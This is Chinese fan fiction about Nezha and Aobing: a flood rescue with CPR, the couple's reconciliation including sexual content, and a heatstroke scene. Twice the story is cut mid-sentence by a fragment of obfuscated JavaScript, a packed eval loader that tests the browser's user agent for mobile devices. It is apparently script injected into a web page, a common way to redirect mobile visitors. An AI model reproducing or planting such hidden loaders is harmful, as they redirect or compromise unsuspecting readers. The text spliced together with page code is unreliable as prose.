他再也无法抑制住呛咳,而这却让情况更糟了——水无孔不入地钻进去,脑子深处似要炸裂般疼痛,喉咙疼得像被解剖刀生生刮着。 “咳……咕噜……咕噜噜……”肺像被铁钳钳住,无法收缩。每呛一次水都带来了更灭顶的痛楚。 早知道……刚刚走的时候就亲一口敖丙了。哪吒开始后悔了。 听力从来没有如此好过,心脏跳动的声音响得很,嗵嗵嗵嗵,快极了,震得鼓膜生疼,像被尖刺刺入那般。洪水声听不见了,耳边像筑起一堵密不透风的墙。 如果自己死在这里,尸体会被打捞吗……那个时候大概率都巨人观了吧,敖丙那家伙,肯定会不死心一个个尸体看过去认领的。那么丑的样子,小龙会被吓到的吧……他该不会还要在丑陋的尸体旁哭吧,太难看了……一想到这他心就更痛了,敖丙,他唯一一个对不起的就是敖丙。 倒也不一定,可能尸体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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嘴唇微微动着,哪吒用尽最后的力气说着无人知晓的告白。 敖丙……我爱你……对不起…… 身体缓慢下沉着,直至触底。 泪水滑出,与浊水混成一团。 水青色的身影被一片漆黑吞噬了。黄浊的水里,火红的混天绫失了光泽,一端系在哪吒手腕上,另一端则随波而动,画下十几米长的血色,在昏黄的水里若隐若现。 水面之上,蓝色的冲锋艇破开浊浪,船却行得稳极了,救上来的群众面色苍白,却没受颠簸的苦。 敖丙远远地就瞅见艘橙色搜救船,他发号施令,语气不容置喙,不怒自威:“往那艘开。” 那艘船情绪不对,船越靠得近,敖丙不祥的预感就越强,心脏跳得极快,连带着胸腔都在痛。 原来那是哪吒的队伍,可哪吒不可能看见自己不打招呼。 “哪吒呢?!”还没等船停稳,他就喝问到,目眦欲裂。 一众人望向滔滔洪水。 “李队长他……落水了……我们没能救下来,对不起……”一队员哽咽道。 “哈……”敖丙一下子没站稳,连带着脚下的冲锋艇也晃了一下,差点往后去,幸好很快就站住了,救援队的同行都来不及扶他一把。 消防队员不敢看他,谁都知道他俩恩爱得如胶似漆。不少人看过小王老婆在葬礼上崩溃大哭的模样,心里都如刀绞般疼。 “他在哪儿落的水!几分钟前!”敖丙声音哑得可怕,话都是颤的,带着哭腔。他眼影一瞬间就红了,带着不可置信、愤怒、震惊和哀伤望向爱人的同事,那边的人看了一眼就不敢看了,太剜心了。 “在上游约一公里处。”有人遥遥一指,那所指之处更为波涛汹涌,只剩下些电线杆子伫立着,“事发约3分钟前……” “我靠你要干嘛丙哥?”几个人异口同声惊诧道。 敖丙火速解开身上毫无存在意义的浮力背心,像撒气般狠狠扔在船上,又把鞋子一下子蹬开,眼神坚定得很,虽然这个眼神给其他人的信号就是:“卧槽,他要殉情。” 一边脱装备,一边飞快计算着水流流速和时间计算——那年在浴缸玩,哪吒的屏气时长是4分钟,但是是运动中的屏息,若是没怎么动那还能再加一两分钟。人体黄金救援是心脏停跳5分钟内,还有6分钟,他要找到他的爱人。 “下水救人!”敖丙一咬唇,恶狠狠盯着着黄浊的浪。什么东西,胆敢吞噬他的爱人。 “不用管我,你们继续救人。”他吩咐到。 38.一起回家 *含心肺复苏抢救情节,提前预警* “丙哥使不得啊!这水不能跳!”救援队的人火速跑过来拦腰抱住敖丙,敖丙一下子就把人推开,攀上船沿。 “阿丙冷静!”那边的消防员急得跳脚,碍于洪水还在两船之间飞逝,谁也不敢贸然跳过去劝阻,只能在船上劝着,“李队他肯定不希望你跳下去找他的!” “放开我!我死不了!”敖丙把腰上勒着自己的、用力用到崩出青筋的手扯开,“我艹,别拦我!”结果另一个被救上来的老大哥看救援队控制不住敖丙,也过来一下子把想不开要跳河的情种死死压在身下。 “放我走!”敖丙使了力想把人从身上推开,但又怕把人给伤着了。拳头攥得老紧,撑着压在身上的老大哥,蹬着却发现脚脚腕动不了,原来是被其他人人死死抓着了。他胸脯猛烈起伏着,急剧呼吸着,怎么办、怎么办,怎么样才能脱身。 对面的船只还在疯狂喊着让他冷静。冷静个屁!话语太苍白了,总不能突然间说,我是龙,死不了,那也太好笑了,大抵会被认成失心疯。更不能直接在船上现出龙身,不仅把人吓死,后续公关也是大问题。 哪吒不知身在何方,生死未卜,唯一一个能救他的人被困在船上。 “得让他们都清醒着,洪水危险。”敖丙删掉那个让所有人昏过去然后自己入水的坏主意。 “轰隆——”一座民房轰然坍塌,随着浪被冲得无影无踪。 速来温润的水青色眸子忽地亮了,像那雨夜里刹那间划破黑幕的青色闪电,锐利、睥睨世间,带着无可阻挡的态势,又像暗夜里捕猎者,危险而美丽,摄人心魄。 “听我号令。”敖丙分明是盯着虚空,可众人却觉得如芒在背,浑身寒毛都倒竖起来,那语气是平和的,不见起伏,却又带着不可忤逆的威严。 “放开我。”那几个扯着敖丙的人感到一阵威压,手颤着,赶忙撒开了,怔怔的靠着船边。 “我走后,不要担心我。如果看见什么不可置信的东西,忘记它。”敖丙环视众人,一字一顿发号施令,“现在,继续救人,在保护好自己的前提下。” 长腿猛一蹬船沿,青色的身影便在半空中跳出一道完美的弧线,像条鱼儿一样滑入了水中,没溅起一丝水花。众人这才幡然醒悟,却还混沌着。 “丙哥……下去了?” “这水平不去奥运会跳水太可惜了。” “开船,继续搜救。”一人得了神令,开着冲锋艇往他处驶去。 “对对,救人要紧。”船上只剩下一双鞋子和泡沫救生衣宣告这船少了一个人。 浊水里,敖丙顺着水流往下飘了一会儿,而后身躯在洪水中一个旋身,龙身便化出来了——但是这龙身略大了点,四十多米,细长一条,被各种杂物打着。 龙瞳猛地睁开,水青眸子里竖着可怖的黑色瞳孔——他也一样啥都看不清,这水含沙量过高了。青龙茫然的在水里寻着人,却苦苦寻不着。头部疯狂摆动着——看不清,龙尾巴胡乱扫着——急躁了。 无形的波自龙角处荡出去——青龙在用神识去扫描这一片广阔的水域,这洪水滔天,奈是敖丙、东海三太子,也猜不出哪吒会被冲到哪里。 脑海里建起立体动态图,楼房、树枝、石块什么都有……还有……好一些人都在水里……而且已失去了颜色标记,没有救的必要了。敖丙叹了气,但活要见人、死要见尸,他摆着龙身,一个个地去寻。 一位被困在车里,这个不用确认了。 龙疾速游到一人身旁,得极近的距离才能看清样貌,那是一位已死亡的老者,嘴巴张着,控诉老天为何如此待世间。龙吻紧闭着,去寻下一个。 不是,这是孕妇,她至死都还护着胎儿。龙不忍地紧闭双眼,快速理好思绪又去找下一人。 一个娇小的尸体碰到龙身,敖丙被吓了一跳,龙身猛地一抽搐,瞳孔震颤着,咒骂老天为何要对待尚且年幼的生灵。 不是他、不是他、都不是他……敖丙的爪子掰过不少身躯,见了不少骇人的样貌,心如刀绞,泪淌了下来,与浊水混在一起,带着绝望的哀伤奔涌向无垠天地。 哪吒……你到底在哪…… 不要吓我好不好…… 我不想看见你的那种模样…… 时间一分一秒的流逝,敖丙感觉自己快在水里窒息了,原来是喉咙哽得生疼。龙吻抽搐着,庞大的龙身绝望地在偌大的水域寻找一个细小的人身,恍若大海捞针。他不是龙吗,曾在无边海域里遨游,如今这不过小小一片洪灾水域,为什么,为什么找了这么久都找不到…… 青龙抽泣着,龙吻部溢出哀吟,可洪水无情,自顾自地奔涌,席卷万千生灵,将文明的建造夷为平地。青龙渐渐游得慢下来了,无边的绝望化作洪水淹没了他,偌大的身躯隐在水面之下,哭泣着、抽搐着。 我连再见都没来得及和你说…… 说好的不会有不告而别的…… 早知道……早知道他就不告诉哪吒西边有危险了…… 可他也清楚,哪怕重来一次,他还是会说,他也还是会救。 龙爪抠挖着水底,恨自己来得太迟。 洪水冲着海底巨兽,把那美丽的青白鬃毛吹得倒伏,恶毒地舔舐着龙泪,砂石、杂物接连不断砸在龙身上,那龙身子疼着,心也疼得快要停跳了。 好像什么东西刚刚挠了一下自己的鬃毛,不像是那些杂物的触感?敖丙猛地睁开因哭泣而紧闭的双眸,猛地回身望去。那黄浊不堪的水里似有什么奇异的色彩流动。冥冥之中似乎收到了什么召唤,敖丙追着那抹身影,而后一下咬住了那似水蛇般的东西。 是混天绫! 那红绫却失了色泽,努力抵抗着洪流,引着青龙游动。敖丙把自己的神力注入进去,那绵软的混天绫可算是恢复了些力气,带着敖丙往一处漩涡游着。 那是一个人静静的沉在水底,身后是一辆同样沉底的车,阻着他不再往远处漂去。 那是哪吒,他一生所爱之人。 青龙猛地往前一弹,途中化作人形,左手把混天绫缠绕在手腕上,只一瞬就到了那人身前。 他已经不会动了,没有任何挣扎,像睡着了一样躺在水底,双手无力的上浮着,面容却是平静,好像在笑,又好像在哭。敖丙的神识扫不出生命体征,洪水吞没了他哭喊哪吒名字的声音。人腿太难游过洪流,敖丙只好把下半身化成龙体,双手横抱着软绵绵的人,奋力往岸边游去。 泪水不住地流,快点、再游快点。冲出水面的一刻,敖丙迅速把下半身换成腿,连衣服都来不及化出来,就抱着哪吒往远离岸边的地方跑。 可敖丙刚踏出一步就滑倒在地,可能是这土坡太过泥泞,也可能是被吓得腿软。他还怕把哪吒摔疼,左手紧抱着爱人无力地躯体,生生拿右手手肘撑住两人的惯性重量,手肘处猛地传来钻心地疼,疼得敖丙倒吸一口气,连眼泪都挤出来了。 敖丙忍不住哽咽抽泣着,气音断断续续溢出来,手忙脚乱地把人抱好,跑了几步,才放心把哪吒放下来——这是处无人的小土坡,和那年哪吒抽他龙筋的地方相似。 龙鳞附着光/不/溜/秋的身子,敖丙迅速扒开哪吒眼皮,瞳孔对光反应还是有的,二指疯狂颤着,放去脖子上摸动脉。 “呜唔……”敖丙根本压抑不住哭声,啜泣着唇抖得跟被空投到北极圈冻得哆嗦那般。哪吒的颈动脉不跳动了,敖丙又俯下身贴在胸腔细细听着——一片死寂,敖丙素日最爱匍在哪吒身上睡觉,听着规律的心跳声入眠。 可那曾经有力的心跳声,没了,胸腔寂静无声。 敖丙右手下压哪吒的额头,天,额是凉的,敖丙希望这是因为自己发了烧。有条不紊地左手抬起哪吒下巴——开放气道完成。 可当敖丙尝试渡气时却失败了——有什么东西堵塞了气道。敖丙手虚虚举在哪吒脖颈上,闭上眼,睫毛疯狂颤着,挂着摇摇欲坠的泪滴。 泪眼模糊,嘴里倒着气、抽噎着。敖丙颦着眉头去感应水,一股水青色的气便渐渐凝在掌心,而那溺水之人的喉部皮肤竟自理往外透着发光的青色,缓缓往上移动着。 那堵塞物被敖丙控了出来,哪吒身子一抽:““咳咳!”吐出一口污物来。敖丙立马俯下身把哪吒的嘴尽数含入,猛地吹气,余光看着那熟悉的胸膛渐渐鼓起才稍宽了心。 “1、2、3……”敖丙语气平稳地数着按压次数,双手交叠着疯狂用力按压哪吒胸腔,他跪在哪吒一侧,用整个人的体重压下去,把那胸腔压得凹下去,又回弹回来,发丝上的水随着动作被甩到哪吒身上,放在以前,哪吒绝对会在浴缸里回击,把敖丙泼得像落汤鸡一样,而后两人笑作一团、抱在一起。哪吒还会打趣小龙幼稚,学啸天那样把水甩得到处都是。 刚刚爬上岸崴到的手肘像万刺扎着,惹得手臂都在抖,可丝毫没影响敖丙急救动作的专业性。掌心下,胸腔倔强回弹,冷汗自额间渗出,顺着脸颊滑落,滴在哪吒胸膛上。一旁泥泞的地上,混天绫静静躺着,像一条再也普通不过的布条,一头系在敖丙手腕上,起起伏伏。 哪吒双手无力摊在身侧,像个布娃娃一般随着敖丙的动作而一动一动,唇色发紫,脸色苍白得跟刷了白蜡般吓人。眼皮无力张开了一条缝,露出视线涣散开来的红棕色眸子。 “29、30!”敖丙迅速捏紧哪吒的鼻翼,余光望向胸膛,看它随着自己吐气与神力过渡过去而渐渐鼓起。但脉搏没有自行搏动的迹象。 第三轮心肺复苏,手臂变得失去知觉,身体机械地完成下压动作,掌下突然传来咔嚓地手感,敖丙一怔,又立刻一刻不停继续——肋骨被压断是心肺复苏常见的事情,不用担心,骨头断了能长回来,命没了就是真没了。 敖丙望向哪吒,那张总是含笑的脸现在了无生机,装满爱意的眸子却失了神采,好像对上了视线,那眼睛黑乎乎的,低垂着,看着敖丙不住动作,有些渗人。 “哪吒,不要走……”敖丙又渡了口气过去,“不要睡过去。”他一手捏着鼻翼,一手攥紧了哪吒的手。十指相扣,但只有敖丙死死握着,好像这样就能强行把人留下。神力随着掌心传过去,却还是像千年前那样投到无底洞里,没有任何作用。 第五轮心肺复苏,泪水已经模糊视线,大颗大颗的泪水打在敖丙手背上,绽成水花,蹦到哪吒胸膛上。敖丙已经什么都看不清了,只知道自己在嚎哭着做急救,身躯已经累到极致,但仍像上了发条般机械地完成动作。 “呜……哪吒……不要走,求你别走……”敖丙绝望闭眼,泪珠被抛弃,落到哪吒脸庞上,好似哪吒也在哭一样。 “15、16……”连话都变得含糊不清了,带着哭腔,敖丙差点把自己舌头咬到,泪水混杂着汗水疯狂落在地上,和天上的暴雨混合了,雨没停过,像下刀子一样捅在敖丙身上。 “呼吸啊哪吒!给我泵血啊!”敖丙把所有的希冀都含在嘴里渡了过去,泪水决了堤,鼻子也不通气了,他只能一边疯狂抽噎着,一边靠嘴吸取着稀薄的氧气。 不知是第几轮心肺复苏了,手臂已经酸软得没有力气,人也是,绝望淹没了能呼风唤雨的天神,把那坚挺的脊梁也压垮了。可那人睡着了,像一滩肉泥任人摆布,任由敖丙大力按压,罔顾风吹雨打,睡得死沉。 “4、5……”双臂不可控的抖着,自己的身子也在抗拒地抽搐,“你说过不会不告而别的!!”他绝望哭嚎着,身子终是脱了力,无力跪在哪吒身旁,双手无力垂在地上,细密抖着,连指尖都在抽搐。 “你说过我不用再等你的!”敖丙双眼哭得通红,痛骂着那压根听不见也不会还嘴的爱人,哭得厉害,连音节都是含糊的。 洪水哗啦啦的向东流逝,天降暴雨而不停,插在两个人身上,偌大的土坡,一跪一躺,一哭一睡。 “你答应过的!!”泪水胡满视野,敖丙趴在哪吒身上,颤抖的指尖细细描摹着那苍白没有生气的脸庞,他嘴唇半开着,敖丙扯着那青白嘴角,一个似哭非笑的笑容转瞬即逝。 敖丙伏在哪吒胸膛上,哭得撕心裂肺,声音哑掉了,心如刀绞,压得他喘不过气来,肩膀不停地颤抖:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哪吒使了好大力才抬起手,轻轻掐着敖丙的腰,话还是气音:“没事了,没事了……我没走” 敖丙不再说话,沉默的抽泣落泪,手掌在哪吒脖子上,感受着脉搏有力的跳动。 “你怎么不穿衣服?”哪吒发现敖丙浑身摸上去像条没去鳞片的鱼,光滑得很。 “我刚刚化龙,在水里找你,找了好久都找不到……”敖丙拿噙着泪的通红双眼死死盯着他,眉头都皱成了八字,“我还以为找不到你了……” “我好怕,我看见了好多……好多离世的人……我好怕翻过来一个看见那是你,又怕找不到你……”泪水自通红的眼角滑落,滴到泥泞的地上。 哪吒听着,看了一下在地上无所事事的混天绫,便支使它变成衣服,让敖丙临时穿上。哪吒也在哭,沉默地流着泪,他不敢大声哭,要不然小龙肯定会先来安慰他的。 等到小龙把情绪缓下来了,止住抽噎时,哪吒也缓得差不多了,他轻轻拍着小龙的背:“我胸口好疼……” 敖丙一怔,手抚上去:“刚刚心肺复苏,压断了……” 哪吒现在连深呼吸都痛,心想敖丙这是做了多久心肺复苏,得花了多大力……他骨头可硬朗了…… “四根……全断了……”小龙补充到,指尖凝聚神力,加速修补着断开的肋骨,算勉强固定住断骨了,要不然断开的地方插到器官里,也不好受。 后来,一艘船恰好经过这,把他俩载了回去,免了他们左思右想是直接去医院还是先回安置点的痛。 大雨可算停了,却没放晴,大水仍奔流着。 “来个担架!”救援人员一跨下船,吆喝道。 救援队穿着蓝马甲的反光衣大哥正拿着担架床过来救人,然后直直对上刚刚跳船殉情那位仁兄。 四目相对,水青色的眸子写满难堪和尴尬,敖丙紧咬牙关,艰难咽下口水。 “握、握草……”蓝马甲哥不可置信的指着敖丙,却什么都说不出来。 敖丙赶忙比了个拉链的手势,挤眉弄眼地使眼色,幸好方才的神令有效,那位哥一下子就闭着嘴和敖丙协力把哪吒抬到担架上了。 等蓝马甲哥把人安置好,才唯唯诺诺走过来伸出左手:“方才多有得罪,神明莫怪、神明莫怪!” 敖丙眉头一皱,发现事情似乎不像自己想象那样,但礼数为先,伸出没搀固定绷带的左手握住了大哥:“抱歉,右手伤了,只能用左手。谢谢你大哥。” 而后敖丙一低头,看见那大哥左手带着好几串念珠,找道长开过光的那种——原来大哥是个信教的。 “我走后,不要担心我。如果看见什么不可置信的东西,忘记它。”——敖丙当时是这么说的。 但是他忘了,新时代无宗教信仰的人确实是绝大多数,但有一部分人是信奉他们的存在的,比如眼前的大哥,大抵也把他和哪吒身份猜了个七七八八,一个叫吒,一个叫丙,单拎出来是难猜。 但毕竟敖丙现在身上的红衣服过于扎眼了,这年头成天带着红色法宝的神仙大抵也就那几个,标志得和某位牵着狗的神仙一样。信则有,不信则无,“不可置信”的前置条件现在算灰飞烟灭了。 “大哥,”敖丙没松手,和善地笑着,“那个……别说出去,好吗。” “好好好,必须好!”大哥点头哈腰连连应下,眼看就要跪了,敖丙立马把人往上一拉,放心松了手——大哥既然应下了神明的话,那就不会反悔。 蓝马甲弓着腰自伤员帐篷里退了出去,自始至终脸朝着他们,唯恐不敬,两位神仙忍俊不禁憋着笑——他们没那么在意这种礼数,大哥是个心善的人,好人自有好报。 “等会咱们会被转移去城里医院,洪水将且慢下来了,救援行动还在继续。” “好……”哪吒抓着敖丙手背摩挲着,但敖丙却把手迅速收回去了。 “我先去帮帮忙,待会回来找你,咱们一起回家。”敖丙俯下身来,在脸颊上啵了一口。 “好,一起回家。” 39.那就说好了,一辈子,不离开 “夏浪”来得快,去得也快,一头撞上喜马拉雅山高山后就原地消散了,徒留一地狼藉给凡人收拾。 残留云系在天空中绽出五彩绚丽的火烧云,炸了漫天。酷暑被台风驯化成了温和的夏意。露台下,小区的树被台风拔了个七七八八,倒伏着,工人们正忙着清扫满地狼藉;露台上,两个背影互相依偎着靠在一起,潮润的风拂起青色的长发,蹭着哪吒破了皮的脸颊。 哪吒眼疾手快,一下抓住了那缕青丝,绕在指尖把玩:“敖丙,我有句话不知当说不当说。” “说。”小龙眯起了眼睛,这风把人吹得舒服极了,带着些许东海的水汽,裹挟着家乡的气息。感谢现代科技,他只需拨个视频便可和故乡通上话,虽然化成龙飞去也不过半小时的事儿。 “你……我其实死不了,你应该知道这个?”青丝在指尖绕了圈,又自行挣开了——昨晚哪吒帮他洗头发,下了致死量的护发素,现在这头发就跟绸缎一样,丝滑得很。 “知道啊。‘肉身未死,神魄锁在其内,然神身可化出行动。若非神陨,魂魄灭,则换肉身可继续于人间自由行动。’”敖丙熟读天庭律法,这为首的几条更是滚瓜烂熟。 “那你怎么……还来救我啊,我死就死了,到时候再换个肉身回来找你不就行了。” “什么死不死的!别说这种话!”小龙好像被戳到痛处了,猛一个侧头,长发就这么从哪吒指缝中溜走了,“你是真没心啊!” 敖丙双手掐着小莲藕两颊往外扯:“这种话都说得出来!” “呜呜疼——!”哪吒含糊说着,他脸蛋被捏得红了,上好的牙口被迫露出来,忙求饶。 “我当时哪想得来这么多。知道你落水了,我就知道要找到你。刚碰到你时,你就像……睡死了一样,脑子动不了,只想着要让你心脏跳起来。”小龙皱了眉头,一下子逼近来,脑子又想起来昨日的事情,把自己吓到了,水又溢上眼眶。 “我只想着,我要你活着。”唇吻上来,一手小力推着哪吒的胸膛,生怕把还没痊愈的肋骨弄疼,一退一进,慢慢把小莲藕压到了落地窗前。 “我只要你活着,不是那种老是换肉身的活法。换了个身子,那就是下一个你了。” 五千年前结下的仇早已在一次次交手中慢慢消解,他们渐渐习惯了对方的存在,一回头,那人就在那站着等。千年过去,救命的恩,再次养育的恩,和那更为隐晦的情,不知何时附上四肢百骸,融入骨髓里面,烙在魂魄深处。 早就谁都离不开谁了。 一吻毕,小龙拿爪子捏着小莲藕的耳垂,眼里的霸占欲和渴望似要凝成实体,青绿的眸子像蛇蝎一样盯着哪吒,龙的野性把哪吒看得倒吸一口气,太有威严感了,或者说这眼神少见,性/感极了。 “我没办法想象没有你的人生。哪吒,你哪都别去,就守在我身边,好不好。”敖丙一整个人贴上来,耳鬓厮磨着,声音颤着,水青的眸子染上水汽,可怜兮兮地要对方一次又一次承诺不要离开。 哪吒歪头去蹭他,手自衣服下摆探了进去捏着那一截软腰,声音哑了:“我也是,敖丙,咱们都离不开对方了。” 一手托着小龙后脑勺,把小龙的上颚舔舐,将口舌吮吸。 “敖丙……对不起,我……我下次不会了……对不起,吓到你了……”哪吒嗦着小龙的软唇,把人亲得喉间溢出软音来。 “对不起,我爱你。”哪吒拇指压着小龙被咬红的嘴唇,又用指尖抹走绯红眼尾的泪珠,“我答应你,咱们会一直走下去。” 敖丙又勾起他的尾指:“那就说好了,一辈子,不离开。” “嗯,一辈子,不离开。”哪吒勾上尾指,而后一个转身,便把敖丙压到落地窗前,二人肌肤相贴着,用炙热的吻见证誓言。 唇齿纠缠,时而轻轻撕咬着,时而吮吸着,好似都把对方当成了块上好的排骨,要食髓才能知味。眼睫细密颤着,任由气息自喉间里溢出来。 哪吒把敖丙扯回房间忙活去了。窗外,林业局还在割着大树,为居民日常生活扫清障碍。 电锯声不绝于耳,好一阵高速运转后,伴着一声巨响,摇摇欲坠的大树杈自高处跌下,将地都震了几番。那树叶上还残存着些台风的雨水,唰啦唰啦响着坠下,又把街边的工作人员浇了满头。树杈又被吊了起来,放到运输车上,颠簸地运向远方,车厢上,树叶无力摇晃着,被凹凸不平的路晃得东倒西歪,水滴顺着叶脉滴落,落到车厢上,蓄了一汪汪的水渍。 皎洁的月升起,天上很黑,只有一轮玉盘高悬,时而有些白色流星划过,终于是归于沉寂了。 “切菜啊!快点啊没时间了!” “那边的菜要过时了!” “不要催!我在切肉!” “你怎么把菜倒垃圾桶了?” “你行不行啊哪吒!” “行,必须行!”事实证明话不要说太早,要不然容易被打脸—— 电视机:一星,金钱负数。 敖丙一手捏着Switch手柄,没好气地看向游戏菜鸡哪吒,青绿的眸子燃着怒火和无奈,唇都抿成一条线了——分手厨房名不虚传,这中坛元帅未免太菜了点。 “啧,游戏做菜不行,我现实做菜行啊。”哪吒扔开手柄把气鼓鼓的小龙揽过来亲着哄着,“别气别气,咱们一起做饭。” 敖丙一下下切着洋葱,没想到那白色的比紫色的辣得多,惹得眼睛稀里哗啦喷水,他啪一下放下刀,下意识拿右手去抹眼泪。 “嘶——好辣,好疼!”眼睛刚被触到就如开闸的洪水,敖丙被迷了眼,在厨房乱转着,辣的直直求助。 哪吒急急忙忙把手在衣服上抓了两下就走过来:“怎么了怎么了?”而后一下子把小龙掰住了,要不然他就要直直撞上菜刀架了。 “呜,洋葱,洋葱!”手越抹眼睛越疼,敖丙不敢动了,指着那被碎尸万段的罪魁祸首——哪吒吩咐要切成一条条的,但奈何敖丙实在不擅长厨艺,给切成一块块的了。 敖丙看着一个模糊的人影在身前杵着,忙忙撒娇求助:“眼睛疼!!” 哪吒一手抓着小龙挥舞的手,一边牵着小龙往洗手台走,那手捧着水给小龙洗眼睛,语气带着戏谑和嗔怪:“下次切洋葱记得切一下往水里沾一下,都活了几千年了怎么这都不会~” 敖丙头发都被打湿了,现在沾成一缕缕的贴到锁骨上,淅淅沥沥滴着水珠,现在正拿着骨节分明的指尖把脸上的水抹走呢。哪吒特意低下身子去瞅,眼白被洋葱熏得红了,不过不流泪了,倒显得分外可怜,好像被欺负狠了似的。 “好可怜啊~”哪吒捏了捏小龙脸蛋儿,“我这就去惩罚惩罚惹哭你的坏东西。”< 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“是啊,这年头天气越来越极端了,幸好科技发达了,放以前天大旱饿殍遍地,现在还能人工降雨。” 软糯的栗子蛋糕送入口中,渐渐化了开来,寒冷的冬日里屋子暖气足,敖丙只穿着单衣,赤着脚坐在地毯上,捧着切开的蛋糕一口一口享受着:“哪吒!你也来吃!” 哪吒刚给骑手打赏了些小费,闻言便挪到敖丙身边,一口咬在敖丙的叉子上,微微甜而不腻的蛋糕同样一下子也把红棕的眸子点亮成灯泡。 “好吃!!”亮成星星眼的眸子睁得老大。 “是你会点!”小龙从不吝啬赞美,他把一口蛋糕叼一半在嘴中,哪吒心领神会,欺身压过来,啃下另一半蛋糕,还要得寸进尺地把小龙吃干抹净。 羊毛地毯暖和极了,也是个很好的缓冲层,就算是跪在上面也不疼。 哪吒把小龙压在身下,水青色的长发铺开来了,像一朵绿色睡莲,敖丙躺在毯子上,脸颊绯红,眸子含了水,蓄了情地望向身上那人。 “新年快乐。”哪吒像把玩文物那般珍视地描摹着敖丙白皙如玉的脸颊。 “新年快乐,又是新的一年了。” 哪吒看着他小腹上的蛋糕,突发奇想:“话说,咱们要不要试试过生日?给蛋糕插蜡烛那种?” “哈?你是要把蛋糕烧了吗?”敖丙不禁想象了一下一个小蛋糕上面插着几千根蜡烛的模样,不禁笑起来,笑得人一颤一颤的。 “嘶——别笑!”哪吒感受到身下一阵阵收缩,一下涨红了脸,脱了力压倒在敖丙身上。 “我就笑,我就笑!”小龙把手换上哪吒脖子,在红唇上一啄一啄的。 时间过得很快,他们早已活了上千年,一年不过是人生的千分之一,一眨眼就是下一年了。身边的凡人停停走走,唯有身边这位千年如一日在身边。 窗外月明星稀,寒风呼啸而过,不知什么时候就变成了炙热的风——敖丙猜对了,那年干燥得很,也热得很,毒辣的太阳炙烤着大地,好像是爱上吃BBQ那样烘烤着万物。 “丙哥!明天外勤!记得带齐东西!”下班前,同事叮嘱道。明日他们几个得去选址新站点。 40.高温来袭 蝉不叫,人坏掉,艳阳高照,天干物燥。 四名气象工作人员扛着一堆设备去了荒芜的山查看新选址,顺带装点新的设备。树林里温度高,水汽又散不出去,闷热无比。 敖丙生来怕热,往常这些盛夏时节,他会偷摸着用神力给自己悄咪咪开空调,可如今身前身后全是人,只能忍住,现正大汗淋漓,带出来的手帕都被汗浸湿了。他细数着自己活过的年月,越发觉得这是此生以来最热的一次夏天。 “我天,这个天气怎么还没到停工标准啊,我感觉我要热死在这山里了。”一人抱怨到。 另一人从包里掏出已经快融化完的冰水递给同事:“可不是,今年的高温都持续快半个月了,我每天赶到打卡机前都跟焯水了似的。” 树的影子变短又拉长,四人的衣服早就汗湿了。汗水流到眼里,迷了视线。 “丙哥,螺丝批。” 敖丙正欲弯腰掏地上的包,头却一晕,忽而天旋地转,直直跪到地上,幸好工具包的东西把他刺醒了。他紧紧眯着眼,一手撑着地,缓着那一阵阵的眩晕,汗滴顺着鼻梁流淌,于鼻尖滴落到地上。 “呼……”唇被热得微张,还得靠着张嘴呼吸才能汲取到足够的氧气。 “我靠,你没事吧?”同事看着这敬业哥脸蛋被热得像富士山苹果一样,忙把人搀去树荫下。 “我没事,别担心。”敖丙接了同事递来的冰水,咕噜噜喝了下去,“抱歉,给你们添麻烦了……” 后来他还想着继续工作,被众人又拉了回去歇着,敖丙看四下无人,悄咪咪给自己开空调——好受多了。 那晚他还是被同事亲自开车送回家的。 哪吒一回家就看见小龙病恹恹地躺在沙发上,把空调正对着自己吹,脸色潮红,难受得在沙发上直打哼哼。 “我天……敖丙你怎么了?生病了?”哪吒赶忙踢开鞋子甩下斜挎包去探小龙的额头——正常温度,却渗着薄薄一层汗,这个室内温度本不应该出汗的。而且小龙双眼迷蒙,怎么看都不像没事的样子。 “我没事……就是有点中暑了。”敖丙有气无力拨开小莲藕的爪子,“我今天出外勤热着了。” “啊……要不要去医院看看?”哪吒也不知道该怎么处理了,在一旁手忙脚乱瞎忙活,看见小龙双唇殷红、干得起皮,忙去冰箱倒了杯椰子水出来,小心翼翼把敖丙搀起来,“要不要喝点椰子水,去去火。” “嗯……”敖丙就这有力的臂膀直起身来,本想接过瓷杯的,手却难受得发抖,抓不稳,幸好哪吒没松过手,一手托着小龙的脖颈,一边慢慢给小龙喂上冷饮。 一些透凉的椰子水滑入口中,殷红的舌卷动着,喉结也上下滚动着吞咽。水青色的眸子虚虚散着焦,小龙的爪子还小力扯着哪吒衣摆。一些椰子水顺着嘴角溢出来了,划过绯红的脸颊落到脖子上,洇湿一片松垮的领口。 “吃过饭了吗?”哪吒今日回来的晚了,是夜十点半。 敖丙轻轻摇摇头,但光是摇头都能引得脑子翻江倒海,难受极了,颦着眉头无力往后仰倒在沙发背上,露着脆弱地喉结,手指无力抓挠着沙发,嘴角还有着些许水渍,放在平时小龙肯定会擦干净的,现在是真的难受极了,形象都顾不上了。 哪吒看着小龙难受,心也揪着疼,他轻轻在敖丙脸颊啄一口,用手指抹去嘴角水渍,便去做凉食给敖丙吃。小龙被热傻了,现在肯定吃不下热饭,整点凉面和水果饱饱腹就好。 身后忽而传来凌乱的脚步声。 小龙东倒西歪地走着,脚步虚浮,每动一步都得扶着些东西才好把握好平衡,好像喝得酩酊大醉一般。 哪吒见状赶忙走上前,一把把人扶住:“你要去哪?” 敖丙脸色忽地煞白了,冷汗涔涔,唇都在细微抖着:“厕所……” 小龙一下跪在马桶旁边吐了个天昏地暗,腹部无力抽搐着,手指都难受得蜷起来,可因为许久没有进食,吐不出来什么东西,只能把酸水都尽了。哪吒看人吐得七七八八了,才一手托着敖丙的腰站到洗手台前,给敖丙揉着肚子,肚子软极了,隔着布料都还能感受到内里在痉挛。 “刷啦啦……”水龙头源源不断吐着水,哪吒摸到水温变温水了,便把漱口杯接了水递给小龙。 敖丙刚刚快把五脏都吐出来了,现在倒是好受多了,眼睫还挂着泪滴,颤颤巍巍接过水杯开始漱口,而后哪吒便抽了一次性洗脸巾给小龙擦脸,一丝不苟地把小龙肩部以上擦了个干干净净。 